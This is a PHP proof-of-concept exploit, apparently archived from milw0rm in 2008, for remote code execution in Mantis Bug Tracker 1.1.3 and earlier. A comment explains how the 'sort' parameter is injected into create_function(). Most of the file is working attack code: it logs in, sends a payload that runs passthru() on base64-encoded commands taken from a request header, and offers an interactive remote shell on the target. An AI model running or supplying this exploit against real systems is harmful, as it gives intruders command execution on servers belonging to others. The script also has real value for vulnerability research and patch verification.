Mantis Bug Tracker 1.1.3 - Remote Code Execution

<?php

/*
	--------------------------------------------------------------------------------
	Mantis Bug Tracker <= 1.1.3 (manage_proj_page.php) Remote Code Execution Exploit
	--------------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.mantisbt.org/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /manage_proj_page.php
	
	32.	$f_sort	= gpc_get_string( 'sort', 'name' ); <=== this is taken and stripslashed from $_GET['sort']
	33.	$f_dir	= gpc_get_string( 'dir', 'ASC' );
	
	(...)
	
	89.	$t_projects = multi_sort( $t_full_projects, $f_sort, $t_direction ); <=== and here is passed to multi_sort()
	90.	$t_stack    = array( $t_projects );
	
	[-] multi_sort() function defined into /core/utility_api.php
	
	185.	# --------------------
	186.	# Sort a multi-dimensional array by one of its keys
	187.	function multi_sort( $p_array, $p_key, $p_direction=ASCENDING ) {
	188.		if ( DESCENDING == $p_direction ) {
	189.			$t_factor = -1;
	190.		} else {
	191.			# might as well allow everything else to mean ASC rather than erroring
	192.			$t_factor = 1;
	193.		}
	194.
	195.		$t_function = create_function( '$a, $b', "return $t_factor * strnatcasecmp( \$a['$p_key'], \$b['$p_key'] );" );
	196.		uasort( $p_array, $t_function );
	197.		return $p_array;
	198.	}
	
	An attacker could be able to inject and execute PHP code through $_GET['sort'],	that is passed to create_function()
	at line 195 into multi_sort() function body. By default only registered users can access to manage_proj_page.php
	(I've tested this on 1.1.3 version), because of this sometimes this PoC works only with a valid account.
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function check_login()
{
	global $host, $path, $user, $pass, $cookie;
	
	$packet  = "GET {$path}manage_proj_page.php HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Connection: close\r\n\r\n";
	
	if (preg_match("/Location: login_page.php/", http_send($host, $packet)))
	{
		if (isset($pass))
		{
			$payload = "username={$user}&password={$pass}";
			$packet  = "POST {$path}login.php HTTP/1.0\r\n";
			$packet .= "Host: {$host}\r\n";
			$packet .= "Cookie: PHPSESSID=".md5("foo")."\r\n";
			$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$packet .= "Content-Length: ".strlen($payload)."\r\n";
			$packet .= "Connection: close\r\n\r\n";
			$packet .= $payload;
			
			if (!preg_match("/Set-Cookie: (.*);/", http_send($host, $packet), $match)) die("\n[-] Login failed...\n");
			$cookie = $match[1];
		}
		else die("\n[-] Credentials needed...\n");
	}
}

print "\n+-------------------------------------------------------------------+";
print "\n| Mantis Bug Tracker <= 1.1.3 Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path [user] [password]\n";
	print "\nExample....: php $argv[0] localhost /mantis/";
	print "\nExample....: php $argv[0] localhost / user pass\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

check_login();

$code	 = "']);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}manage_proj_page.php?sort={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=".md5("foo").(isset($cookie) ? "; {$cookie}" : "")."\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nmantis-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
	}
	else break;
}

?>

# milw0rm.com [2008-10-16]